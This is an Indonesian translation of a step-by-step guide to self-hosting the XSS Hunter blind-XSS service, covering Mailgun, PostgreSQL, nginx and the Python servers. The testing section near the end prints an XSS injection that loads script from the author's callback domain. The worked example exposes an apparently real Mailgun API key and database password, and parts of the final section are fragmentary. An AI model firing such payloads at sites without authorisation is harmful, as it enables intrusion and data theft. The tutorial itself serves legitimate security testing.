Kami menerbitkan terjemahan artikel Menginstal XSS Hunter dan memeriksa instruksi dengan contoh kami sendiri.
Spoiler: Semuanya bekerja!
Mengapa XSS Hunter?
Banyak pembaca yang mungkin sudah mengetahui bahwa Anda dapat mendaftar di https://xsshunter.com/ dan menggunakan xsshunter secara gratis. Singkatnya, ini adalah alat yang digunakan terutama untuk pencarian XSS buta . Lalu mengapa menerapkan layanan Anda sendiri untuk tugas ini, Anda bertanya.
- Semuanya terkendali. Jika ada yang tidak beres, Anda dapat memeriksa dan menyelidiki masalahnya.
- Stabilitas. Anda tahu pasti apakah layanan tersebut berfungsi atau tidak. Anda dapat memutuskan sendiri kapan harus menghentikannya. Bayangkan Anda memiliki ratusan kumpulan data yang siap untuk dieksekusi, dan pemilik layanan tiba-tiba mematikannya. Ini akan menyedihkan!
- Anda mengontrol data. Perusahaan biasanya tidak suka pemburu bug yang menggunakan solusi pihak ketiga, karena dalam hal ini mereka tidak dapat memverifikasi apakah datanya telah dihapus atau belum.
Bonus: Berkat artikelnya, Anda akan mengetahui bagaimana semuanya bekerja.
Jika artikel ini tidak cukup untuk Anda, kami sarankan untuk membaca karya rekan kami dari Jet Infosystems.
Cara Penggunaan?
Panduan untuk menggunakan XSS Hunter dapat ditemukan di situs XSS Hunter GitHub .
Ini adalah awal yang bagus, tetapi panduan ini agak ketinggalan zaman. Situasinya sama dengan basis kode, jadi saya harus mengubah beberapa hal agar berfungsi di Ubuntu 18.04. Pada artikel ini saya akan memberi tahu Anda cara bekerja dengan XSS Hunter.
Langkah pertama
Saat ini, saya menggunakan panduan resmi sebagai dasar.
Kami juga berasumsi bahwa Anda memiliki server yang berfungsi dan pengalaman manajemen server dasar. Meskipun demikian, saya masih akan mencoba untuk masuk lebih dalam. Jangan ragu untuk mengajukan pertanyaan!
Kita akan butuh:
- VPS atau tempat lain untuk menyelenggarakan layanan
Kami mengulangi instruksi penulis menggunakan contoh VDS Timeweb: timeweb.com/ru/services/vds . Lebih lanjut di artikel ini, kami membagikan apa yang kami dapatkan di setiap tahap, di spoiler tersembunyi.
Kami memiliki: timeweb.com/ru/services/domains .
:
XSS Hunter
mailgun
1. Daftarkan akun mailgun di sini . Jangan lupa untuk menghapus centang pada kotak, yang disebutkan di bawah ini di tangkapan layar.
2. Ikuti petunjuk untuk memverifikasi alamat email dan nomor telepon Anda.
3. Buka tab kirim dan pilih domain email Anda.
4. Di kanan atas layar, tambahkan alamat email yang Anda inginkan untuk menerima peringatan. Ini harus menjadi alamat Anda yang sebenarnya dan saat ini. Misalnya john.doe@gmail.com.
5. Setelah menyelesaikan hal di atas, klik tombol "Pilih" di blok yang disorot oleh label API.
6. Catat kunci API dan domain email. Anda akan membutuhkannya segera!
Domain email adalah bagian terakhir dari URL API dasar: sandboxe678 .
Menggunakan VDS Timeweb sebagai contoh
: sandbox82f7e729ed934d1189bcc6bd32aaa977.
7. Buka surat dan temukan surat dari mailgun.
8. Konfirmasikan alamat email Anda dengan mengklik link di email.
(Surat tersebut akan dikirim ke alamat yang Anda tentukan di langkah 4, yaitu, dalam kasus kami, ke john.doe@gmail.com).
Pastikan semuanya berfungsi
Gunakan perintah berikut untuk mengirim email dari server Anda untuk memastikan layanan berjalan.
Ganti:
[API_KEY] : kunci API Anda
[API_BASE_URL] : API URL dasar Anda
[YOUR_EMAIL] : email asli Anda
Misalnya: john.doe@gmail.com .
curl -s --user 'api:[API_KEY]' \
https://api.mailgun.net/v3/[API_BASE_URL]/messages \
-F from='Excited User <mailgun@[API_BASE_URL]>' \
-F to=[YOUR_EMAIL] \
-F subject='Hello' \
-F text='Testing some Mailgun awesomeness!'
Catatan : Versi UE layanan memiliki URL yang berbeda. Pencarian Google cepat atau memeriksa akun mailgun Anda akan memberi tahu Anda apa yang harus diubah.
Catatan dari ahli Timeweb
curl:
:
curl -s --user 'api:67ee2b8a922268ac335eb00262b33711-9b1bf5d3-919027d8' \https://api.mailgun.net/v3/sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org/messages \
-F from='Excited User <mailgun@sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org>' \
-F to=r.tkach@timeweb.ru \
-F subject='' \
-F text=' MailGun'
:
{
"id": "<20201029124602.1.C81E1E4029FB7DC4@sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org>",
"message": "Queued. Thank you."
}
Periksa akun Anda untuk memastikan Anda menerima email seperti contoh di bawah ini. Jika tidak ada email, Anda perlu memecahkan masalah sebelum melanjutkan ke langkah berikutnya.
Menyiapkan dependensi
Instal paket yang diperlukan terlebih dahulu:
# install dependencies
sudo apt-get install nginx && sudo apt-get install postgresql postgresql-contrib
Menggunakan VDS Timeweb sebagai contoh
root@372526-twosa:~# apt-get install nginx && apt-get install postgresql postgresql-contrib
Selanjutnya, atur pengguna postgres dan database untuk XSS Hunter. Ubah EXAMPLE_PASSWORD menjadi sandi yang lebih aman. Saya sangat merekomendasikan menggunakan pengelola kata sandi!
sudo -i -u postgres
psql template1
CREATE USER xsshunter WITH PASSWORD 'EXAMPLE_PASSWORD';
CREATE DATABASE xsshunter;
\q
exit
Menggunakan VDS Timeweb sebagai contoh
root@372526-twosa:~# sudo -i -u postgres
postgres@372526-twosa:~$ psql template1
psql (10.14 (Ubuntu 10.14-0ubuntu0.18.04.1))
Type "help" for help.
template1=# create user xsshunter with password '6fhQg18YFrna2LbX2EDWHfLoewy32i';
CREATE ROLE
template1=# create database xsshunter;
CREATE DATABASE
template1=# \q
Instalasi layanan
Pertama, kami mengkloning repositori:
git clone https://github.com/mandatoryprogrammer/xsshunter
cd xsshunter
Menggunakan VDS Timeweb sebagai contoh
root@372526-twosa:~# git clone https://github.com/mandatoryprogrammer/xsshunter
root@372526-twosa:~# cd xsshunter
Harap diperhatikan : Diperlukan Python2! Repositori tidak mendukung Python3.
Untuk menjalankan skrip konfigurasi, kita perlu menambahkan dependensi tambahan:
# install yaml support for python
sudo apt-get install pyyaml
Menggunakan VDS Timeweb sebagai contoh
root@372526-twosa:~/xsshunter# apt install python-pip
root@372526-twosa:~/xsshunter# pip install pyyaml
Terima kasih kepada pengguna xYantix karena memberikan solusi yang berfungsi dalam permintaan tarik ini .
Penyiapan layanan
Oke, ayo kita mulai! Kami siap menjalankan skrip konfigurasi.
# generate yaml config file
./generate_config.py
Menggunakan VDS Timeweb sebagai contoh
root@372526-twosa:~/xsshunter# ./generate_config.py
Saya akan menunjukkan prosesnya selangkah demi selangkah. Untuk melihat contoh keluarannya, lihat contoh di bawah ini. Saya telah menambahkan nomor untuk navigasi yang mudah. Jika tidak, semuanya akan terlihat sama.
1. Masukkan nama domain Anda. Saya menggunakan mydomain.com sebagai contoh.
Menggunakan VDS Timeweb sebagai contoh
372526-twosa.tmweb.ru.
2. Masukkan Kunci API Mailgun yang Anda temukan dan simpan sebelumnya.
3. Masukkan nama domain Mailgun Anda, yang juga telah Anda tulis sebelumnya. (Apa yang dimulai dengan kotak pasir).
4. Saya pikir bisa apa saja @ [nama domain Mailgun] , tetapi saya tetap menggunakan penamaan standar dari mailgun karena nama tidak terlalu penting di sini. Saya sarankan menggunakan: mailgun @ [nama domain Mailgun]. Ingatlah untuk mengganti [nama domain Mailgun] dengan milik Anda.
5. Ini untuk membuat orang melaporkan dugaan penyalahgunaan alat. Email Anda yang sebenarnya dan saat ini harus ditunjukkan di sini. Misalnya: john.doe@gmail.com .
6. Jika Anda telah mengikuti semua langkah dalam artikel ini, cukup masuk ke xsshunter.
7. Masukkan kata sandi yang Anda pilih saat membuat database. Di atas tercantum sebagai EXAMPLE_PASSWORD . Gantikan teks [YOUR_REALLY_SECURE_PASSWORD] dengan sandi Anda EXAMPLE_PASSWORD .
8. Seperti pada langkah # 6, jika Anda mengikuti tutorial ini, cukup masuk ke xsshunter.
Ups! Penyiapan selesai!
Jika Anda perlu mengubah nilai ini, Anda dapat mengeditnya langsung di file config.yaml.
__ __ _____ _____ _ _ _
\ \ / // ____/ ____| | | | | | |
\ V /| (___| (___ | |__| |_ _ _ __ | |_ ___ _ __
> < \___ \\\\___ \ | __ | | | | '_ \| __/ _ \ '__|
/ . \ ____) |___) | | | | | |_| | | | | || __/ |
/_/ \_\_____/_____/ |_| |_|\__,_|_| |_|\__\___|_|
Setup Utility
(1)
What is the base domain name you will be using?
(ex. localhost, www.example.com)
Domain? mydomain.com
Great! Now let's setup your Mailgun account to send XSS alerts to.
(2)
Enter your API key:
(ex. key-8da843ff65205a61374b09b81ed0fa35)
Mailgun API key: 92740xxxxxxxxxxxxxxxxxxxxxxxxxxx-65bxxx58-8ffxxxxx
(3)
What is your Mailgun domain?
(ex. example.com)
Mailgun domain: sandboxe6784d1f69d9486484bb8db10ab02380.mailgun.org
(4)
What email address is sending the payload fire emails?:
(ex. no-reply@example.com)
Sending email address:
mailgun@sandboxe6784d1f69d9486484bb8db10ab02380.mailgun.org
(5)
Where should abuse/contact emails go?:
(ex. yourpersonal@gmail.com)
Abuse/Contact email: xsshunter@mydomain.com
(6)
What postgres user is this service using?
(ex. xsshunter)
Postgres username: xsshunter
(7)
What is the postgres user's password?
(ex. @!$%@^%UOFGJOEJG$)
Postgres password: [YOUR_REALLY_SECURE_PASSWORD]
(8)
What is the postgres user's DB?
(ex. xsshunter)
Postgres DB: xsshunter
Generating cookie secret...
Minting new nginx configuration file...
Setup complete! Please now copy the 'default' file to
/etc/nginx/sites-enabled/default
This can be done by running the following:
sudo cp default /etc/nginx/sites-enabled/default
Also, please ensure your wildcard SSL certificate and key are available at
the following locations:
/etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
/etc/nginx/ssl/mydomain.com.key; # Wildcard SSL key
Good luck hunting for XSS!
Menggunakan VDS Timeweb sebagai contoh
Setup Utility
What is the base domain name you will be using?
(ex. localhost, www.example.com)
Domain? 372526-twosa.tmweb.ru
Great! Now let's setup your Mailgun account to send XSS alerts to.
Enter your API key:
(ex. key-8da843ff65205a61374b09b81ed0fa35)
Mailgun API key: 67ee**************************-9b*******-919*****
What is your Mailgun domain?
(ex. example.com)
Mailgun domain: sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org
What email address is sending the payload fire emails?:
(ex. no-reply@example.com)
Sending email address: mailgun@sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org
Where should abuse/contact emails go?:
(ex. yourpersonal@gmail.com)
Abuse/Contact email: r.tkach@timeweb.ru
What postgres user is this service using?
(ex. xsshunter)
Postgres username: xsshunter
What is the postgres user's password?
(ex. @!$%@^%UOFGJOEJG$)
Postgres password: [EXAMPLE_PASSWORD]
What is the postgres user's DB?
(ex. xsshunter)
Postgres DB: xsshunter
Generating cookie secret...
Minting new nginx configuration file...
Setup complete! Please now copy the 'default' file to /etc/nginx/sites-enabled/default
This can be done by running the following:
sudo cp default /etc/nginx/sites-enabled/default
Also, please ensure your wildcard SSL certificate and key are available at the following locations:
/etc/nginx/ssl/xsshunter.timeweb.ru.crt; # Wildcard SSL certificate
/etc/nginx/ssl/xsshunter.timeweb.ru.key; # Wildcard SSL key
Good luck hunting for XSS!
-mandatory
Anda sekarang harus memiliki 2 file baru di folder xsshunter Anda:
- config.yaml (berisi kunci dan kredensial API)
- default (berisi konfigurasi nginx)
Konfigurasi NGINX
Ubah lokasi sertifikat SSL
Jika Anda menggunakan Let's Encrypt seperti saya, Anda perlu mengubah defaultnya .
Agar konfigurasi bekerja dengan pengaturan default Let's Encrypt, kita harus memberi komentar pada semua entri:
/etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
/etc/nginx/ssl/mydomain.com.key; # Wildcard SSL key
dan ganti dengan
ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem ; # managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # managed by Certbot
Catatan:
1. Ganti mydomain.com dengan nama domain Anda!
2. Segala sesuatu setelah simbol # adalah komentar. Anda dapat menghapusnya jika mau.
File default Anda sekarang akan terlihat seperti ini:
server {
# Redirect HTTP to www
listen 80;
server_name mydomain.com;
location / {
rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent;
}
}
server {
# Redirect payloads to HTTPS
listen 80;
server_name *.mydomain.com;
proxy_set_header X-Forwarded-For $remote_addr;
return 307 https://$host$request_uri;
client_max_body_size 500M; # In case we have an extra large payload capture
}
server {
# Redirect HTTPS to www
listen 443;
ssl on;
# New conf
ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem; #
managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; #
managed by Certbot
# Original conf
#ssl_certificate /etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
#ssl_certificate_key /etc/nginx/ssl/mydomain.com.key; # Wildcard SSL
certificate key
server_name mydomain.com;
location / {
rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent;
}
}
server {
# API proxy
listen 443;
ssl on;
# New conf
ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem; #
managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; #
managed by Certbot
# Original conf
#ssl_certificate /etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
#ssl_certificate_key /etc/nginx/ssl/mydomain.com.key; # Wildcard SSL
certificate key
server_name *.mydomain.com;
access_log /var/log/nginx/mydomain.com.vhost.access.log;
error_log /var/log/nginx/mydomain.com.vhost.error.log;
client_max_body_size 500M;
location / {
proxy_pass http://localhost:8888;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
}
}
server {
# Redirect api to HTTPS
listen 80;
server_name api.mydomain.com; # Subdomain for API server
proxy_set_header X-Forwarded-For $remote_addr;
return 307 https://api.mydomain.com$request_uri;
client_max_body_size 500M; # In case we have an extra large payload capture
}
server {
# Redirect www to HTTPS
listen 80;
server_name www.mydomain.com;
location / {
rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent;
}
}
server {
# GUI proxy
listen 443;
server_name www.mydomain.com;
client_max_body_size 500M;
ssl on;
# New conf
ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem; #
managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; #
managed by Certbot
# Original conf
#ssl_certificate /etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
#ssl_certificate_key /etc/nginx/ssl/mydomain.com.key; # Wildcard SSL
certificate key
location / {
proxy_pass http://localhost:1234;
proxy_set_header Host $host;
}
}
Menggunakan VDS Timeweb sebagai contoh
server {
# Redirect HTTP to www
listen 80;
server_name 372526-twosa.tmweb.ru;
location / {
rewrite ^/(.*)$ https://www.372526-twosa.tmweb.ru/$1 permanent;
}
}
server {
# Redirect payloads to HTTPS
listen 80;
server_name *.372526-twosa.tmweb.ru;
proxy_set_header X-Forwarded-For $remote_addr;
return 307 https://$host$request_uri;
client_max_body_size 500M; # In case we have an extra large payload capture
}
server {
# Redirect HTTPS to www
listen 443;
ssl on;
ssl_certificate /etc/letsencrypt/live/372526-twosa.tmweb.ru/fullchain.pem; # Wildcard SSL certificate
ssl_certificate_key /etc/letsencrypt/live/372526-twosa.tmweb.ru/privkey.pem; # Wildcard SSL certificate key
server_name 372526-twosa.tmweb.ru;
location / {
rewrite ^/(.*)$ https://www.372526-twosa.tmweb.ru/$1 permanent;
}
}
server {
# API proxy
listen 443;
ssl on;
ssl_certificate /etc/letsencrypt/live/372526-twosa.tmweb.ru/fullchain.pem; # Wildcard SSL certificate
ssl_certificate_key /etc/letsencrypt/live/372526-twosa.tmweb.ru/privkey.pem; # Wildcard SSL certificate key
server_name *.372526-twosa.tmweb.ru;
access_log /var/log/nginx/372526-twosa.tmweb.ru.vhost.access.log;
error_log /var/log/nginx/372526-twosa.tmweb.ru.vhost.error.log;
client_max_body_size 500M;
location / {#
proxy_pass http://localhost:8888;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
}
}
server {
# Redirect api to HTTPS
listen 80;
server_name api.372526-twosa.tmweb.ru; # Subdomain for API server
proxy_set_header X-Forwarded-For $remote_addr;
return 307 https://api.372526-twosa.tmweb.ru$request_uri;
client_max_body_size 500M; # In case we have an extra large payload capture
}
server {
# Redirect www to HTTPS
listen 80;
server_name www.372526-twosa.tmweb.ru;
location / {
rewrite ^/(.*)$ https://www.372526-twosa.tmweb.ru/$1 permanent;
}
}
server {
# GUI proxy
listen 443;
server_name www.372526-twosa.tmweb.ru;
client_max_body_size 500M;
ssl on;
ssl_certificate /etc/letsencrypt/live/372526-twosa.tmweb.ru/fullchain.pem; # Wildcard SSL certificate
ssl_certificate_key /etc/letsencrypt/live/372526-twosa.tmweb.ru/privkey.pem; # Wildcard SSL certificate key
location / {
proxy_pass http://localhost:1234;
proxy_set_header Host $host;
}
}
Mari terapkan konfigurasi NGINX
Langkah selanjutnya adalah memindahkan file tersebut ke folder nginx. Ini dianggap sebagai praktik yang baik untuk memiliki file konfigurasi di folder ... / sites-available dan kemudian membuat tautan simbolik ke konfigurasi yang Anda gunakan untuk ... / sites-enabled . Kami akan melakukan itu.
Saya memberi nama file konfigurasinya sehingga jelas dari nama layanannya.
Begini cara melakukannya!
# move file and give proper name
cp xsshunter/default /etc/nginx/sites-available/xsshunter-mydomain.com
# symlink the file to sites-enabled to make it active
ln -s /etc/nginx/sites-available/xsshunter-mydomain.com
/etc/nginx/sites-enabled/xsshunter-mydomain.com
# test for errors in the configuration
sudo nginx -t
# if no errors, restart nginx for changes to take effect
sudo systemctl restart nginx
Menggunakan VDS Timeweb sebagai contoh
root@372526-twosa:~/xsshunter# cp default /etc/nginx/sites-available/372526-twosa.tmweb.ru
root@372526-twosa:~/xsshunter# ln /etc/nginx/sites-available/372526-twosa.tmweb.ru /etc/nginx/sites-enabled/372526-twosa.tmweb.ru
root@372526-twosa:~/xsshunter# nginx -t
root@372526-twosa:~/xsshunter# systemctl restart nginx
Jika Anda belum pernah memulai nginx sebelumnya, perintah terakhir adalah:
sudo systemctl start nginx
Menginstal Server API
Pertama, server API juga membutuhkan dependensi tertentu.
Manual mengatakan untuk menjalankan perintah berikut:
sudo apt-get install python-virtualenv python-dev libpq-dev libffi-dev
Menggunakan VDS Timeweb sebagai contoh
root@372526-twosa:~/xsshunter# apt-get install python-virtualenv python-dev libpq-dev libffi-dev
, python-virtualenv pip.
Coba lagi!
Sayangnya saya tidak dapat menjalankan perintah virtualenv , jadi saya menginstal server API dengan
pip install virtualenv
Masalah terpecahkan, saya bisa melanjutkan!
Mari pergi ke direktori yang diinginkan.
Setelah berada di direktori yang benar, Anda perlu membuat lingkungan virtual.
Begini caranya:
# change folder - you know that already!
cd xsshunter/api
# find your Python2 executable path
which python2
# create a python2 virtual environment in the env folder
virtualenv -p MY/EXECUTABLE/PATH env
Menggunakan VDS Timeweb sebagai contoh
root@372526-twosa:~/xsshunter# cd xsshunter/api
root@372526-twosa:~/xsshunter/api# which python2
/usr/bin/python2
root@372526-twosa:~/xsshunter/api# virtualenv -p /usr/bin/python2 env
Running virtualenv with interpreter /usr/bin/python2
New python executable in /root/xsshunter/api/env/bin/python2
Also creating executable in /root/xsshunter/api/env/bin/python
Installing setuptools, pkg_resources, pip, wheel...done.
Pastikan Anda mengubah MY / EXECUTABLE / PATH di perintah terakhir ke output perintah python2 apa . Bagi saya ini adalah: / usr / bin / python2 .
Setelah kita membuat virtual environment, aktifkan dengan perintah berikut. Anda akan melihat perubahan pada baris perintah Anda.
# activate environment
. env/bin/activate
Menggunakan VDS Timeweb sebagai contoh
root@372526-twosa:~/xsshunter/api# . env/bin/activate
(env) root@372526-twosa:~/xsshunter/api# ls
apiserver.py env logs models probe.js requirements.txt templates
Ada juga masalah ketergantungan karena repositori tidak dipelihara secara aktif.
Jadi, kita harus melakukan perubahan berikut pada file requirement.txt :
1. psycopg2 2.6.1 == => psycopg2 == 2.7.3.1
2. bcrypt 2.0.0 == => bcrypt == 3.1.7
Gunakan editor teks favorit Anda untuk ini. Saya menggunakan VIM.
Setelah selesai, saatnya menginstal semua dependensi dan memulai server API untuk memastikan semuanya berfungsi seperti yang diharapkan. Mari mencoba!
# install requirements
pip install -r requirements.txt
# run the API server
./apiserver.py
Menggunakan VDS Timeweb sebagai contoh
(env) root@372526-twosa:~/xsshunter/api# pip install -r requirements.txt
(env) root@372526-twosa:~/xsshunter/api# ./apiserver.py
Perintah install harus mengeluarkan data. Server api seharusnya tidak mengeluarkan apa pun. Tidak ada penarikan adalah kabar baik!
Kami ingin membuat satu perubahan lagi sebelum kami selesai mengkonfigurasi server api. Awalnya ia mendengarkan di antarmuka 0.0.0.0 , tetapi kami memproksikannya melalui NGINX. Artinya ini tidak masuk akal. Kami akan mengkonfigurasi server untuk mendengarkan di localhost . Ini akan menghindari kebingungan dan masalah.
Menggunakan editor teks, ubah baris 684 di apiserver.py dari
app.listen (8888) menjadi app.listen (8888, "localhost") .
Terima kasih kepada swarley7 untuk berbagi solusi dalam permintaan tarik ini .
Terakhir: Bug di mana unggahan tidak berfungsi seperti yang diharapkan jika folder / unggahan tidak ada. Ini dibagikan oleh sampsonc dalam permintaan penarikan ini .
Mari buat folder dan lanjutkan!
# create uploads folder
mkdir xsshunter/api/uploads
Menginstal Server GUI
Proses ini sangat mirip dengan proses di server api, hanya saja lebih sederhana.
Buka folder gui, buat lingkungan virtual, aktifkan dan instal dependensi.
# change folder - you know that already!
cd xsshunter/gui
# find your Python2 executable path
which python2
# create a python2 virtual environment in the env folder
virtualenv -p MY/EXECUTABLE/PATH env
# activate environment
. env/bin/activate
# install requirements
pip install -r requirements.txt
# run the GUI server
./guiserver.py
Menggunakan VDS Timeweb sebagai contoh
root@372526-twosa:~/xsshunter# cd xsshunter/gui
root@372526-twosa:~/xsshunter/gui# which python2
/usr/bin/python2
(env) root@372526-twosa:~/xsshunter/gui# virtualenv -p /usr/bin/python2 env
(env) root@372526-twosa:~/xsshunter/gui# . env/bin/activate
(env) root@372526-twosa:~/xsshunter/gui# pip install -r requirements.txt
(env) root@372526-twosa:~/xsshunter/gui# ./guiserver.py
Sekali lagi, sama seperti saat menginstal server API:
Pastikan Anda mengubah MY / EXECUTABLE / PATH di perintah terakhir menjadi apa python2. Bagi saya ini adalah: / usr / bin / python2 .
Di sini, juga, kurangnya keluaran saat menjalankan ./guiserver adalah kabar baik.
Juga, seperti halnya dengan server API, kami ingin mem-proxy semua koneksi melalui NGINX, sehingga server tidak perlu mendengarkan pada antarmuka 0.0.0.0 .
Menggunakan editor teks, ubah baris 70 di guiserver.py dari
app.listen (1234) menjadi app.listen (1234, "localhost").
Sentuhan terakhir
Langkah pertama adalah memulai kedua server. Posting blog asli menyarankan penggunaan tmux. Ini tidak sempurna untuk produksi, tetapi kami adalah peretas, jadi mari kita lakukan! Jika Anda menginginkan layanan yang lebih stabil, saya serahkan kepada Anda sebagai latihan.
Berikut cara mengaktifkan dan menjalankannya dengan tmux. Jika Anda butuh bantuan, ada contekan yang bagus di sini !
# start a session
tmux session -new xsshunter
# change to api directory
cd xsshunter/api
#run api server
./apiserver
# open new pane
[ctrl]+[b] -> [c]
# change to gui directory
cd xsshunter/gui
# run gui server
./guiserver
# detach from session
[ctrl]+[b] -> [d]
# extra: if you want to open the session again
tmux attach-session -t xsshunter
Dan yang terakhir!
Buka domain Anda dan lihat apakah halaman xsshunter menyambut Anda!
Ini harus terlihat sama seperti halaman pertama xsshunter.com .
Terjadi? Selamat!
Waktunya menuangkan bir ke gelas!
Periksa kinerjanya
(https://www.372526-twosa.tmweb.ru/signup) .
www.372526-twosa.tmweb.ru/app Payload - . :
html- .
: js , , js_callback .
XSS Hunter:
:
It works! !
www.372526-twosa.tmweb.ru/app Payload - . :
"><script src=https://tw.372526-twosa.tmweb.ru></script>
html- .
: js , , js_callback .
XSS Hunter:
:
It works! !
: www.372526-twosa.tmweb.ru.
Jika Anda belum menonton Entourage, Anda bisa mulai sekarang!
Kesimpulan
Saya tidak suka menjalankan sesuatu sebagai root atau sebagai pengguna biasa, jadi untuk menjalankannya sebagai www-data saya membuat skrip berikut untuk membuatnya sedikit lebih mudah.
Gantikan apiserver.py dengan guiserver.py sehingga Anda memiliki satu skrip untuk setiap server. Saya akan senang jika Anda menggunakan teknik ini.
Skrip shell untuk menggunakan lingkungan virtual dan memulai server API:
#!/bin/sh
. env/bin/activate && python apiserver.py
Menjalankan skrip sebagai www-data untuk alasan keamanan:
# execute script above as www-data user
sudo -u www-data ./run.sh
Selesai!
Terima kasih atas perhatiannya. Semoga bermanfaat!